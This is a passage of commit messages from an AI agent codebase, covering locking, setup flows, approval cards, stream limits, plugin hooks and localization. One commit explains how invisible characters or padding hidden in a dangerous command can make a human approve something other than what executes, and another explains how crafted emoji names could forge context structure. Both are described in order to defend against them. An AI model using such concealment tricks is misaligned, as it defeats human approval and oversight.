_try_shared_lock itself, and _try_lock loses the flag. The shared-probe
contract text moved onto _try_shared_lock. The fd-provenance test
pauses the status reader on entry to _try_shared_lock, the function
the reader now calls.

The checkout_lock_held docstring said a lock call that fails outright
answers free. That holds only on POSIX (ENOLCK, EOPNOTSUPP). On Windows
any LockFileEx failure answers held, and only a descriptor with no OS
handle answers free. The docstring now says so.

No behaviour change.
The reader test ran two processes probing the checkout lock in a loop
and polled the update fence for two seconds. That only proved a
collision when the scheduler happened to overlap a poll with a probe.

Each reader now stops inside a real checkout_lock_held call while it
holds its shared lock. On POSIX the pause is after the shared flock and
before the descriptor closes. On Windows it is between LockFileEx and
UnlockFileEx. The second reader probes while the first holds, both
answer free, and the launch fence stays clear while both hold. The
live-holder control is unchanged.

Making the probe exclusive again (the bug fixed in a4b2ba62dc) now
fails on the first fence poll every run.
The Webapp host's desktop-half pass asked Path.is_symlink() everywhere it
means "is this a link", and that is False for a Windows junction. A
junction needs no privilege to create, so an installed package whose
desktop/ folder held one published the folder it points at into the
served desktop-plugins root, which Electron's lstat walk (Node reports a
junction as a symbolic link) refuses. A checkout junctioned into plugins/
also lost its linked marker, so the two writers disagreed about the same
copy, and a junctioned copy whose package is gone was never pruned
because rmtree refuses a junction.

One predicate now covers both kinds (the existing pm.filesystem
is_junction beside is_symlink) at every link check in the module: the
plain-tree check, the linked-checkout test, the link-at-target test,
publication and the prune.

Follow-up to #146402. The is_symlink-only checks date from f9e923f190
(#145853) and ca8e43aea7 (#146178).
The Desktop/ spelling fix in #146402 was only covered by a realpath
stand-in, because no test ran on a volume that ignores case. Electron's
reconcile and the Webapp host's pass now each have a test that writes
only Desktop/plugin.js and expects the half published with nothing
refused. Each runs only where the temporary folder really ignores case
(macOS APFS, Windows NTFS by default) and skips elsewhere; the host test
is marked for the macOS and Windows lanes.

On a macOS APFS volume, the Electron test fails if the per-folder lstat
walk is replaced by a realpath comparison, and the host test fails if
the plain-tree check compares the folder's on-disk spelling.
The desktop plugin installer asked only is_symlink() about the folder it
publishes to and the folder it removes. A junction answers False to that,
and a dangling one answers False to exists() too, so install replaced a
dangling junction without force, and remove skipped the "linked from
somewhere else" refusal and fell through to a generic rmtree error.

Both checks now use the reconcile module's _is_link (is_symlink() or
pm.filesystem.is_junction), the predicate the host pass already uses.
The test compared next_run_at against New York's offset NOW. On Oct 31
the next 14:00 run is Nov 1, after DST ends, so the correct -05:00 was
flagged as foreign against today's -04:00. Compare against the zone's
offset at next_run instead; a UTC (foreign) offset still fails.
block_task fired kanban_task_blocked for kind=dependency from inside
its write_txn, so an observer ran while the caller still held the SQLite
write lock. A plugin that wrote to the board from the hook (e.g. adding a
notify subscription) waited on its own caller and stalled the board until
the busy timeout ran out. Fall through to the shared post-commit dispatch
every other block kind already uses.
One invariant test (dependency + needs_input control): during the hook a
second connection sees the committed transition and can take the write
lock. Trimmed from the 17-test file in #81339 (Marc D'Aoust). Docs no
longer say the dependency-wait path fires inside its transaction.

Co-authored-by: Marc D'Aoust <daoust.marc@gmail.com>
The system prompt carries only a date-granularity timestamp (byte-stable
for prompt caching), so a cron fire had no way to know WHAT TIME it ran:
a morning brief fired at 07:00 was indistinguishable from a 19:00 retry,
and time-sensitive reports invented times or spent a tool call on `date`.

_build_job_prompt now puts a `[CURRENT RUN TIME: <weekday, date HH:MM
zone> (UTC+hh:mm)]` line right after the cron hint, in the configured
timezone (hermes_time.now). The hint constant itself stays byte-stable;
the line sits in the per-run volatile part, after the skill blocks'
registered stable prefix, so the cross-run skill scaffold cache is
untouched, and cron sessions are fresh per fire.

Lives in cron/scheduler_prompt.py (the prompt assembly moved out of
cron/scheduler.py since this PR was first opened).
A timeout that survived the retry loop surfaced as the SDK's bare text:
"Request timed out." (openai APITimeoutError) or "timed out" (raw httpx
ReadTimeout mid-stream). Neither said whether a connection was ever made or
which setting to raise.

agent/timeout_error_summary.py reads the phase from the most specific
exception in the cause chain (the openai SDK wraps connect timeouts in
APITimeoutError too) and returns one line per phase:
- connect: "Connection to the provider timed out before it was established
  (check the base_url and network path)"
- read: "Request timed out waiting for the provider to respond (if the model
  needs longer, raise providers.<provider>.request_timeout_seconds ...)"
Both keep the "timed out" wording that cron failure notices and the error
classifier match on. Non-timeout errors fall through unchanged.
ApiErrorSummaryMixin._summarize_api_error consults it after the offline check;
its signature and every caller are unchanged.

Port of an upstream idea.
Review findings on #80873:
- _timeout_phase walked __context__ too, so an HTTP error raised inside an
  `except ReadTimeout:` block (e.g. a 401) was reported as a timeout. Walk only
  the explicit __cause__ chain (the SDK's `raise APITimeoutError from err`).
- PoolTimeout / WriteTimeout mean the provider never got to answer; they now
  keep the existing summary instead of the "waiting for the provider" hint.
- The read-timeout hint prints providers.<agent.provider>.request_timeout_seconds
  when called on an agent; class-level calls keep the <provider> placeholder.
The memory review prompts gave no criterion for what counts as a saveable
fact, so the review fork saved guesses as durable memory: a one-off "make
that shorter" became "User prefers concise responses", and incidental
remarks became profile entries.

Add one store-neutral rule to the shared memory routing block (so both the
memory-only and combined prompts carry it; the skill prompt is untouched):
save only facts a user message or tool result supports, never infer traits
or preferences from indirect signals, never promote a one-off request to a
standing preference unless the user marked it general. Scoping it to
USER.md alone just moved the same guess into MEMORY.md in a live run.

+420 chars (~95 tokens) per memory/combined review run.
Review finding on #80788: the grounding rule listed only 'always' /
'from now on' / 'remember' as markers of a general preference, which a model
can read as a required keyword list and drop "stop putting emojis in
everything, I hate that". Name a stated like/dislike as general too. A one-off
"make that one shorter" is still not saved. +18 prompt tokens per memory review.
When Relay rewrites a tool call before Hermes' own pipeline runs,
tool_request middleware received the Relay-rewritten args as
original_args, while tool_execution middleware already got the model's
call (function_args). Pass function_args through as original_args so both
middleware kinds see the same pre-Relay snapshot.

Sequential chaining of request rewrites itself landed in f67d490f71
(#133159); this keeps only the remaining pre-Relay delta of #82092.
In channels where people answer by reacting instead of replying, the
thread-context block the agent sees on a cold start dropped reactions, so a
message with twelve check-marks and no replies read as "nobody responded".

conversations.replies already returns each message's reactions array under
the history scopes the adapter requires: no extra API call, no new scope.
Each context line now ends with a compact marker such as
"[reactions: ✅x12 👀]" (up to 8 distinct emoji, then
"+N more"). Emoji names are reduced to Slack's emoji-name charset so a
crafted name cannot forge context structure, and the marker stays out of
parent_text, which drives mention wake checks.

The helper lives in the adapter_reactions_context sibling so the adapter
facade only gains the call site. Read-side only: it does not route
reaction_added events (#10583).
A session /model override persists (gateway session store, TUI/Desktop session row) and
shadows every later change to the configured default. Until now the only way back was /new,
which also drops the conversation.

`/model reset` (no flags) clears the override and returns the session to the configured default:
- shared parser: `reset` is its own request (`ModelSwitchRequest.is_reset`); combined with any
  flag it is rejected (`MODEL_SWITCH_ERR_RESET_WITH_FLAGS`). Not aliased to "default" (MoA preset).
- messaging gateway: clears the in-memory and persisted override and any armed --once restore,
  evicts the cached agent, leaves a next-turn model note; channel_overrides > config.yaml applies.
- TUI gateway (`config.set model`, Desktop's slash mirror): drops the pin and the one-turn
  restore, adopts config.yaml through the config-sync switch (no new pin, never written back) and
  persists the row so session.resume cannot restore the old pin.
- gateway.model.usage_reset / reset_done / reset_none in all 17 locales.

Re-ported onto the split /model modules (gateway/slash_commands_model.py,
tui_gateway/model_switch.py) for the current main.
- Classic CLI (and the Desktop slash worker, which runs this handler): `/model reset` switches
  back, session-scoped (never --global, even under model.persist_switch_by_default), to
  config.yaml's model read fresh at the command, through the normal typed path (guards, confirm,
  session-row persist), and drops an armed --once restore. Already on the default: says so; no
  model.default: says there is nothing to reset to.
- The /model args_hint lists `reset`.
- TUI: a `/model reset` queued mid-turn shows the default it will adopt, not the word "reset",
  and skips the pick-time selection guard (adopting the configured default is not a new pick).
- cli.model.reset_none / reset_no_default in all 17 locales; slash-command and messaging docs.
- Tests: parser invariants, gateway reset of a store-only override after a restart, TUI reset
  that adopts config without re-pinning.
The Ink TUI, Desktop and the gateway-attached CLI send /model as a
session.mutate model mutation straight to the session owner, so the
earlier handlers never saw it and `reset` was frozen into the policy as
a model name (the provider then got `model: reset`).

prepare_model now treats `reset` as a pick of the owning profile's
configured model, read fresh from config.yaml (session-scoped, never
written back, not held behind the cost ask). A session already on that
default gets a `noop` with an "already on the configured default" note
and nothing is committed. `reset` with any other selection field is
refused like on every other surface. A messaging chat viewed through
the owner clears its override through the gateway's own reset; a reset
queued behind a running turn shows the default it will adopt. The TUI,
Desktop and the attached CLI print the owner's note.
Photon's delivery plane only routes numbers whose user row carries
meta.opt_in, and that flag is set server-side when the human sends ONE
message from their phone to the row's assignedPhoneNumber. A registered
row without it looks configured everywhere but never sends or receives:
outbound fails with 'Target not allowed for this project'. Client-supplied
meta is ignored on create, so the API cannot produce the flag.

- auth.py: user_opted_in(), find_routable_user() (an opted-in duplicate
  wins over list order; find_user_by_phone uses it, so setup re-runs and
  status refreshes reuse the routable row), wait_for_opted_in_user() poll
  (rides out transient list failures).
- cli.py setup step [4/5]: prints the assigned line to text and waits for
  the opt-in to land (Ctrl-C skips; non-TTY runs skip the wait).
- status: live 'routing' row (opted in / not opted in, with the line to
  text), emitted from auth.py like the credential summary.
The opt-in step let setup end on "✓ Photon setup complete" even when the
wait timed out, was interrupted with Ctrl-C, or was skipped on a non-TTY
run, so the user was told to start the gateway for a number Photon still
refuses ("Target not allowed for this project").

- setup: when the number is not opted in, the closing line says the setup
  was saved but routing is NOT live, names the line to text, and points at
  `hermes photon status`; exit code stays 0 (config was written).
- wait_for_opted_in_user: add a wall-clock deadline next to the attempt
  cap, so slow list calls (30 s HTTP timeout each) cannot stretch the
  advertised 5-minute wait to half an hour.
A user row without assignedPhoneNumber started a 5-minute wait that told the user only
"text the line Photon assigns": the dedicated-line lookup ran after the wait. Look the
line up first; with still no line, skip the wait and say how to finish (text the line
once it shows up, then `hermes photon status`).
routing_live defaulted to True, so skipping the phone prompt still printed
"Photon setup complete. Start the gateway" although nothing can route. Start from
False (only an opted-in number flips it) and give the no-phone path its own ending
naming the command that finishes setup.
The live opt-in row reused list_users' 30 s timeout, so a black-holed API stalled
`hermes photon status` (previously offline-only) for 30 s. Thread a timeout through
list_users/find_user_by_phone and use 5 s for the status row only.
The lookup moved before the opt-in wait and its except was narrowed; an
unexpected `lines` shape then raised AttributeError and aborted setup before
access was configured. Catch AttributeError/TypeError again, as main did.
Clicking a button on an approval card replaced the whole message with only
the decision ("✅ Approved once by Ana"), so a shared chat lost the record
of WHAT was approved. Discord and Slack already kept the body.

- Telegram: exec-approval and slash-confirm resolutions keep the prompt's
  own rendering (Message.text_html rebuilds it from the entities, code
  block included) and append the decision; a prompt with no readable body,
  or one the appended line pushes past the length cap, still gets the
  decision alone so the buttons never stay live. New sibling module
  telegram_resolved_prompt.py; the adapter facade does not grow.
- Feishu: the card body is kept in the per-card state at send time and
  rendered above the decision on the replacement card.
- Teams: a click after the approval ended replaced the card with only
  "expired"; it now keeps the command and reason like the resolved card.
- Timeout edit: the card now keeps why the command was flagged next to the
  command (the reason was dropped; the command was already kept).
- Teams: button data carries the card's own command preview instead of a
  200-char stub, so a resolved or expired card shows the whole command.
- Telegram, Slack and Feishu resolved cards drop the "If you don't answer
  within N minutes it will NOT run" line, which no longer applies once
  someone decided (Teams never carried it; timed-out cards already replace
  the body).
Review finding: every button's data carried the 2000-char command preview, so a long CJK command made a ~30 KB card, over Teams' ~28 KB limit, and the send fell back to the plain-text prompt. The preview now stays in the adapter keyed by a per-prompt id (bounded to 256 entries); the buttons carry only that id. Cards sent before a restart still read cmd/desc from their button data.
Review finding: _send_interactive_card read card elements and stripped the approval deadline line on every card, including update-prompt cards. _send_exec_approval_prompt now builds the stored body from prompt.text and passes it as extra state.
Review nit: edit_keeping_prompt suppressed every exception and fell back to the decision-only text, so a transient network error after an edit that went through replaced the kept prompt. Only a BadRequest falls back now.
TelegramError is absent from the shared Telegram test stubs, so the import
broke test_slash_confirm_forum_callback_followup_keeps_existing_thread_behavior
with an ImportError. NetworkError covers the same transient cases (timeouts
and network failures subclass it in python-telegram-bot); BadRequest is still
caught first and keeps the decision-only fallback.
Only cards sent by an older build carry cmd/desc in the button data; cards from
this build carry just the prompt id.
backfill_profile_envs() copied the default .env verbatim into any named
profile lacking one, bot tokens included. Under multiplex the default
gateway then refuses the duplicate (one credential can't be consumed
twice) and the profile's Telegram/Discord show as fatal, which Desktop
paints as 'Backend telegram down' even though the real bot is connected.

Run the same strip --clone uses (profile_channels.strip_channel_env_file,
judged in the default's plugin scope) after the copy. Model/tool keys are
kept as before.
The backfill seeded any .env-less named profile with a verbatim copy of the
default's secrets. Secrets are profile-scoped, and a copied bot token only
ever shows up as a duplicate_credential fatal next to the default's live
adapter. Seed the placeholder header instead, same as profile create.
Deleting a duplicated bot token from a secondary profile's .env triggers a
rescan, but the old '<profile>:<platform>' fatal entry stayed in
gateway_state.json until restart, so Desktop kept painting 'Backend
telegram down'. Before rebuilding a changed profile, drop its entries for
platforms with no live or queued adapter; the rescan re-publishes every
verdict that still holds (unserved-WhatsApp notes are un-deduped for it).
The stale-stream detector bounds the gap BETWEEN chunks and resets on every
chunk, so a stream that keeps sending data but never finishes (a gateway
trickling chunks, a runaway generation) is never cut and the turn sits there.

New opt-in agent.stream_max_lifetime (env HERMES_STREAM_MAX_LIFETIME), default
0 = off, so long reasoning streams keep today's behaviour unless the user sets
it. When set, the cap is charged from the start of the current stream attempt,
never resets on chunk arrival, restarts for each retry attempt, and is floored
at the effective stale timeout. Tripping it kills the attempt like a stale
kill: cancel the attempt, abort the request-local client, shut down its socket,
count it once in the cross-turn stale breaker; the retry loop or the
partial-delivery continuation takes over.

Logic lives in agent/stream_max_lifetime.py; the stream monitor calls it from
its poll loop. The Bedrock poll loop is not covered (chat_completion_helpers.py
may not grow).

Port of an upstream idea.
A stream cut by agent.stream_max_lifetime was counted as a stale kill, so two
capped long replies latched HERMES_STREAM_STALE_GIVEUP and the next healthy
request was refused with nothing sent. The cut also surfaced as a transport
error ("stream attempt N was superseded", "the endpoint looks unreachable").

- cap kills are marked accounted in the stale breaker but never counted;
- the killed attempt's error becomes StreamLifetimeExceeded (a TimeoutError,
  so still retried) naming the setting, and the exhausted notice uses it;
- docs say which transports the cap covers (Chat Completions and Anthropic
  Messages; not Codex/Responses or Bedrock) and that it skips the breaker.
The monitor thread that runs the stale check, the lifetime cap and interrupt
polling died silently on an unexpected exception, leaving the stream
unwatched. Log it with a stack trace, and log the armed stale/cap values at
debug level so agent.log shows which limits a call ran under.

Co-authored-by: krzsda <krzysztof.siuda@pm.me>
Drops the HERMES_STREAM_MAX_LIFETIME override (non-secret behaviour settings
belong in config.yaml) and its docs row; tests now set agent.stream_max_lifetime
in a temp HERMES_HOME config.yaml and read it through the real loader.
A cap cut is not an unresponsive provider: the reply no longer says it didn't
respond in time or suggests a backup provider.
A cap kill cancelled the attempt but skipped the same-attempt kill count that
stale kills use, so with the stale detector off a request parked outside the
socket read was re-cut every cap window and the turn never ended. Both kill
paths now share _note_attempt_kill: after _STALE_ABANDON_KILLS kills of one
attempt a worker thread is abandoned (error names agent.stream_max_lifetime)
and an inline call stops claiming liveness. Cap kills still never emit the
stale reconnect notice nor feed the stale breaker.
A kill that lands during the retry backoff (the attempt id is unchanged until the next
attempt starts) hit an attempt the worker already returned from, yet counted toward the
wedged-worker give-up: a healthy call was abandoned and its orphaned worker sent one more
request. With the cap at the stale timeout, the stale and cap checks also counted the same
silent window twice and the cap check abandoned again after the call ended, replacing the
stale error with the cap copy.

The worker now records the attempt it caught an error for; kills of that attempt are not
counted and the cap does not cut it. A stale kill restarts the cap clock, and the cap check
stops once the call is done.
A compressed session's sidebar row carried a layers icon whose tooltip
read "Automatic continuation — this conversation was compressed and
continued". Users read it as noise: it explains internal context
compression on a row that is, to them, just the same conversation.

Removes the badge from both row layouts, its copy key from every locale
(plus types and overlay-gaps), and the test that pinned it. The backend
still stamps continuation_kind on projected rows; nothing renders it now.
A pre_llm_call callback (Python plugin or shell hook) may now return
{"action": "block", "message": "..."} to veto the turn: no model call is made,
the message is the reply the user sees and the transcript keeps a normal
user -> assistant pair, and the result carries
turn_exit_reason=blocked_by_plugin_pre_llm_call. This is the supported seam for
DLP / privacy / policy plugins that previously had to patch core (#57364).

The vetoed prompt also stays on the host for that turn: no session titling call,
no external-memory prefetch or sync, no background memory review. Its user row
gets an api_content placeholder for the main-loop replay. That alone does not
keep the prompt out of later turns (compaction, session_search and memory
providers read the row's content); the next commit stores the placeholder as
the content.

First valid block wins; a Python block without a message is ignored (same as
pre_tool_call). Shell hooks accept both the Hermes {"action": "block"} and the
{"decision": "block", "reason": ...} shapes, mirroring pre_tool_call.
A pre_llm_call veto kept the typed text as the user row's content and put
the placeholder only in api_content, which only the main-loop wire replay
reads. Compaction (summary request and handoff), session_search, external
memory providers and the routed background-review digest all read content,
so the vetoed prompt reached a model at the next compaction or search.

- The placeholder is now the row's content and the persist override; the
  typed text lives only in display_metadata.withheld_prompt, which the CLI
  resume recap, TUI/Desktop session history and the dashboard render.
- A row the TUI/Desktop wrote at submit time is rewritten in place
  (set_user_message_content gains an optional display_metadata, also on the
  managed-worker store op).
- The hook now runs before turn-start compaction and a blocked turn skips
  it: that summary request quotes recent user turns, this one included.
- Memory-provider transcript hand-offs drop the display-only key.
The block sections now say the prompt is stored as the withheld placeholder
(later turns, compaction, session_search, memory providers and review read
only that; transcripts still show what was typed), that the hook runs before
turn-start compaction, and that a callback which raises or times out is
skipped, so the turn goes ahead. observer-hooks.md lists the block return.
finalize_turn still ran micro-compaction and the prepare-ahead summary after
a pre_llm_call veto, so with micro_compact on, a turn reported as api_calls=0
made an auxiliary model call (loopback probe: 1 aux POST -> 0). Both now skip
a vetoed turn, like the memory sync and review already did.
A vetoed user row stores the withheld placeholder as its content, so /retry
(CLI, TUI, gateway, ACP, Desktop) re-sent the placeholder as a new prompt and
/undo pre-filled it into the composer. A rewind's live view and its receipt now
swap the placeholder back for display_metadata.withheld_prompt: /retry
re-submits what the user typed, so the hook decides on it again, and /undo
restores it. Stored rows, compaction and search are unchanged.
A dangerous command can carry content that renders as nothing: zero-width
and bidi-override characters, the U+E0000 tag block, raw ANSI/OSC escapes
or a bare carriage return, or a few hundred (ASCII or Unicode) spaces that
push the real tail off screen or past the 200-char chat preview. The human
then approves something other than what runs.

agent/redact.py gains sanitize_command_for_display() (hidden characters ->
visible \uXXXX / \xNN escapes, padding -> an explicit marker, legit
indentation and tabs/newlines untouched) and redact_approval_display()
(secret redaction + sanitize). Every approval mint site uses it: the CLI
prompt and its callbacks, the gateway notify payload, the execute_code
pending body, plugin approval transports, and gateway.run's
_redact_approval_command seam, which feeds messaging cards, TUI/Desktop
and the API server. Display-only: the executed command, smart assessment
and allowlist keys are unchanged.
Review findings on the approval display sanitizer:
- Every control/format/private-use/unassigned code point (category C*), line and
  paragraph separators, variation selectors incl. U+E0100-E01EF, Hangul fillers and
  U+2800 now render as escapes; ordinary non-ASCII text is untouched. Four or more
  repeats of one such code point show once with a count.
- Runs of whitespace-only lines collapse like bare blank lines; the next line keeps
  its indentation.
- Consent-prompt descriptions (MCP subscriptions/trust, vault payment) go through the
  same display redaction on the messaging gateway, TUI/Desktop and API egresses.
Display only: the executed command is unchanged.
The tool-progress line under the approval prompt, the ACP edit-approval
title, the clarify question's first render and the human-input observer
prompt now go through redact_approval_display like the approval prompt
itself. Display copies only: the executed command, the clarify tool result
and its answer values, and the ACP diff path stay byte-identical.

Selected plugin transports already receive the display copy of command and
description; the new invariant test pins that too.
The Ink approval panel showed the first 10 wrapped lines and said the rest
was "(full text above)", which was not true: a dangerous line 11 never
reached the screen. The panel now pages the command with v (wrapping back
to the top) and says which lines are on screen and how to see the rest.
prompt.approval.moreLines is replaced by pageMore/pageEnd in every bundled
TUI pack, so no translation keeps the false claim.
Clarify questions went through the command escaper, so ordinary prose
showed VS16, ZWJ and ZWNJ as escapes ("⚠\ufe0f Which branch?", Persian
words split by \u200c). sanitize_command_for_display/redact_approval_display
gain prose=True: it still surfaces controls, bidi embeddings/overrides/
isolates, line/paragraph separators and padding, and leaves emoji and
script joiners alone. Choices now get the same display copy; a picked
choice maps back to its raw text by position, so the model still receives
the raw question and answer. Commands keep the strict escaper.
The clarify display copy maps a picked choice back to its raw text by its
display string. Two raw choices that sanitize or redact to the same display
(two secrets both shown as `***`, a literal "\u202e" beside a real U+202E)
collided, and the model got the other raw choice. Suffix repeats with " (2)",
" (3)" so every display choice is unique.
With a sidebar filter narrowing the list (status, a project the tree
resolves, PR, or profile while every profile is shown), the Pinned
section resolves its rows from the filtered list. When the filter
excludes every pinned chat, Pinned fell back to its empty state,
"Shift-click a chat to pin". That tells someone with pins that they have
none, and the pinned chats are also kept out of every other list, so
they look lost. Reported in issue 146510: 13 pins in state.db and in
localStorage, an empty Pinned section.

The Pinned empty state now uses the Sessions section's existing
"No sessions match these filters" copy when a filter really narrows
Pinned (filtersNarrow) or the Archived view swaps the pool it resolves
from. It keys on those rather than $sidebarFiltersActive, which also
counts selections that narrow nothing (a stale project id, a profile
filter while scoped to one profile), so a user with no pins keeps the
hint there. With no filter the hint is unchanged. Both flags go in as
props so ChatSidebar, already over its complexity cap, gains no branch.

Root cause: the sidebar filter menu (83b8ca1e12, PR 82463, 2026-08-09)
fed Pinned from the filtered list and gave the Sessions section a
filter-aware empty state, but left Pinned's hint unconditional.

Whether Pinned should ignore filters altogether is a product call this
change leaves as it is.
The Desktop asks `i18n.languages` and `i18n.catalog {surface: desktop}`
once, right after it connects. In tui_gateway nothing has run plugin
discovery by then (it happens on agent creation, plugin RPCs, or a
model_tools import), so a pack plugin's `provides_locales` was not
registered yet: the reply listed the language as `bundled` with an empty
Desktop catalog, and the Desktop does not ask again until the language
or profile changes. With hermes-lang-ko installed and enabled, the UI
stayed in English.

Both handlers now run the idempotent `discover_plugins()` first. A
failed discovery still answers with the bundled and overlay layers. A
cold discovery loads every enabled plugin, so both methods run on the
RPC pool (`_LONG_HANDLERS`) and never hold the request reader.

Repro on a cold `tui_gateway.entry` with hermes-lang-ko 0.2.4 enabled:
before, ko `source: bundled` and 0 Desktop keys; after, ko
`source: plugin:hermes-lang-ko` and 5,373 keys.

Introduced with the handlers in 9bcbe7b5df (#126296).

Fixes #143523
The backend's `i18n.languages` lists every language it translates
anywhere. Seventeen are bundled for core messages and the TUI, but the
Desktop bundles only nine. The other eight (af, ga, hu, it, ko, pt, tr,
uk) were added to the Desktop picker anyway, with no Desktop strings
behind them. Picking one saved `display.language` and the UI stayed in
English: a Korean user picking 한국어 saw no change.

Each `i18n.languages` row now carries `surfaces`: the surfaces some
layer has strings for. These come from the bundled
`locales/<lang>[.<surface>].yaml`, the user overlay and plugin packs,
which already record their (lang, surface) pairs. A layer that loaded no
strings (an empty, comment-only or unparseable file, or an empty pack)
does not count.
`agent.i18n.language_surfaces()` builds the map from those records. The
overlay cache now stores the pairs instead of bare ids, and
`overlay_languages` derives from it.

The Desktop registers a backend language it does not bundle only when
`desktop` is among its surfaces. A language pack with a Desktop catalog
(hermes-lang-ko) and a user overlay `<lang>.desktop.yaml` both still
show up. Rows from older backends (no `surfaces`) are kept as before. A
saved `display.language` the Desktop cannot render is left as it is for
core and the TUI; the Desktop falls back to its OS-locale inference, as
it already does for any unrenderable value, and does not save over it.

Introduced in 9bcbe7b5df (#126296).
The Desktop asks the backend for language packs (`i18n.languages`,
`i18n.catalog {surface: desktop}`) from an effect in the i18n profile
provider. That effect read `$gateway.get()` once and only re-ran on the
connection state, the requested language and the profile scope. On a
normal boot the connection state turns `open` before the gateway client
is published in `$gateway`, so the effect saw no client, returned, and
never ran again: the Desktop never asked for packs at all. A language
only a pack or a user overlay renders (Korean via hermes-lang-ko, or
`~/.hermes/locales/ko.desktop.yaml`) stayed in English even with the
backend serving all 5,373 strings.

The provider now subscribes to `$gateway` and lists it as a dependency,
so the sync runs as soon as the client is published (and again if it is
replaced).

A second ordering problem sat behind it. When the saved language is not
renderable at config load, the locale context asks the OS for its
language and applies that guess when the answer returns. Once the sync
works, the pack can land first and promote Korean, and a later OS answer
then replaced it with English. The context now re-resolves the saved
language when the OS answer arrives, so a pack that landed in the
meantime wins.

Seen in a real Desktop run on a scratch home with hermes-lang-ko enabled
and `display.language: ko`: before, no `i18n.*` frame went out at boot
and the UI stayed English; after, the UI boots in Korean. With no pack
installed, it boots in English and does not offer 한국어.

Both came with 9bcbe7b5df (#126296): it added the sync effect, and the
parked-language promotion that lets a saved language become renderable
after config load, without re-checking it after the OS probe.
Mattermost documents the id on the System Console user page and on
GET /api/v4/users/username/<username>. /users/me with the bot token is the bot.
The gateway wizard and the plugin setup both used to tell people the id
was on the profile dialog.
Follow-up to the cherry-picked setup-text fix (salvage of #147215).

- Wizard step 4 and the plugin's security hint now share the same lines.
  Before this they had drifted: only the wizard said where on the page
  the ID is. Step 4 now says what the step is for instead of opening
  with "the profile dialog does not show your user ID".
- Add a route for non-admins: a logged-in browser tab can open
  /api/v4/users/me with its session cookie and get the user's own ID.
  Mattermost reads the session cookie on API requests and only checks
  CSRF on non-GET requests, so a plain GET works.
- The allowlist help text points back at step 4 again rather than
  repeating one of the lookups.
- Docs (en + zh-Hans): indent the curl block under its list item so the
  list no longer splits in two, add the browser route, note that
  `mmctl user list` needs `--all` past 200 users, and use the canonical
  docs URL (the .html form redirects).
- Move the plugin setup test into tests/gateway/test_mattermost_plugin_setup.py
  next to the existing plugin setup tests and its _patch_setup_io helper,
  so it no longer writes a real .env. Drop the assertions that pinned the
  new wording; keep the ones that pin the old, wrong advice and the two
  documented lookups.

Both setup tests fail on origin/main and pass here.
The video-note branch passes the label "video note" to
_surface_media_cache_failure, which translates the chat reply through
_MEDIA_KIND_KEYS. The label had no entry there, so a German or Japanese user
whose circle failed to download got a translated sentence with the English
words "video note" in it. Map it to the existing kind_video key ("video file"
in every catalog). The agent-visible note keeps the English "video note".

Scope: no new catalog key; a circle is reported as a video file in the reply,
which every locale already translates.

Test: test_video_note_failure_reply_is_localized (added with the test fold
later in this stack) fails with this entry removed.
group_reply_expected treats an uncaptioned voice note or audio file as spoken
(its words are not in the message text), so it returns None and the silence
notice stays. Video notes now reach the agent too, and a circle without a
caption is the same case: the question is in the audio. Without this it came
out reply_expected=False, so in a group with require_mention off a spoken
question in a circle could vanish behind a bare silence marker.

Tests: the new video-note row of
test_reply_expected_follows_who_the_group_message_addresses fails without the
change (False != None) and passes with it. Docs updated in the same sentence
that lists voice notes and audio files.
Replace the standalone test_telegram_video_note.py with four checks in
test_telegram_documents.py that use its real adapter fixture and helpers:

- test_native_video_is_cached is parametrized over video and video_note
  (the old file's "video" case repeated this test).
- test_media_handler_accepts_video_notes finds the media handler by its
  callback instead of by position (app.handlers[3] would break as soon as a
  handler is added ahead of it) and asserts both VIDEO and VIDEO_NOTE.
- test_reply_to_a_video_note_caches_it covers the replied-to path through
  _observed_media_source, which had no test: removing that branch left every
  test green.
- test_video_note_failure_reply_is_localized: under German, a failed circle
  download replies with the translated "Videodatei" while the agent-visible
  note keeps "video note" (covers the label and the _MEDIA_KIND_KEYS entry).

Each new case fails with the matching adapter hunk reverted and passes with it.
The video-note support added a second, line-for-line copy of the video
branch in _observed_media_source and _handle_media_message, differing only in
the attribute read and the log label. Take `msg.video or msg.video_note` once
in each place instead, keeping the "video note" label for circles, and rejoin
the video_note entry of the _media_message_type table onto the next line.

adapter.py is over the 2,000-line cap, where units may only shrink: this
brings the file back to its origin/main line count (7380), so the PR adds
no lines to it. Behaviour is unchanged; the video and video-note cases of
test_native_video_is_cached and test_reply_to_a_video_note_caches_it still
pass, and each still fails with its branch removed.
A turn that ends on delegate_task(background=true) or terminal(background=true)
leaves work running in the session, and the dot state already resolves it to
`background` (hollow dot). But the row's running arc and brighter title only
covered working/stalled, so those sessions looked finished in the sidebar while
their subagents or processes were still going. The arc (and live-row treatment)
now covers `background` too; the hollow dot still tells it apart from a live turn.
Keep the pane-tab slot after forwarded props so context-menu asChild composition cannot replace it. This restores session-tab close-button width and the hover label mask.
ContextMenuTrigger asChild injects its own data-slot. Before the fix it
replaced PaneTab's, so the close-width and label-mask rules keyed on
[data-slot='pane-tab'] stopped matching session tabs. Red on main
(expected 'context-menu-trigger' to be 'pane-tab'), green with the fix.
$subagentsBySession and $backgroundStatusBySession were fed only by
the visible pane (subagent.list / process.list polls on the mounted
tile, plus live events on that tile's stream), and both RPCs need the
session attached to this transport. A conversation that was not open,
and every row right after a renderer reload or socket reconnect, read
idle while its delegated children or background processes ran.

Backend: new sessionless subagent.roster RPC returns per-conversation
counts of live top-level children (keyed by owner_agent_session_id, the
durable spine completion delivery uses) and running background
processes (registry session_key). It reports only conversations stored
in the requested profile's state.db (the same _profile_db scope
session.list reads), so one process serving several profiles never
hands a caller another profile's session ids. Contract + regenerated
apps/shared outputs included.

Renderer: useLiveWorkRoster (mounted app-wide from useBackgroundSync) reads
the roster on connect/reconnect and every 10 s while the window is
visible, once per backend owner the sidebar shows rows for, routed
through requestForSessionProfile like the rows' own session RPCs. The
result lands in $liveWorkRoster and is unioned into
$delegatingSessionIds / $backgroundRunningSessionIds only for
conversations no event-fed entry covers, so an open pane's live events
stay authoritative. A source that fails three times in a row (an older
backend without the RPC) stops until the next reconnect or window
focus.

Refs #143077, #137847. Reconnect-hydration idea first proposed in
#87915 (@aleksclark).
Review findings on the live-work roster (#147581):

- subagent.roster resolves a background process to its stored conversation
  (parent_session_id, then the route session_key through the profile's
  state.db). On the gateway path session_key is a route
  (agent:main:local:dm:...), so a terminal(background=true)-only
  conversation stayed idle after reload.
- Sources come from ownerLookupSessionRows (recents, cron, messaging), keyed
  by the socket a read rides, so the launch profile is asked once a tick
  instead of three times.
- An event-fed entry speaks for a conversation only while it is newer than
  the roster read; retained completed children no longer hide work the
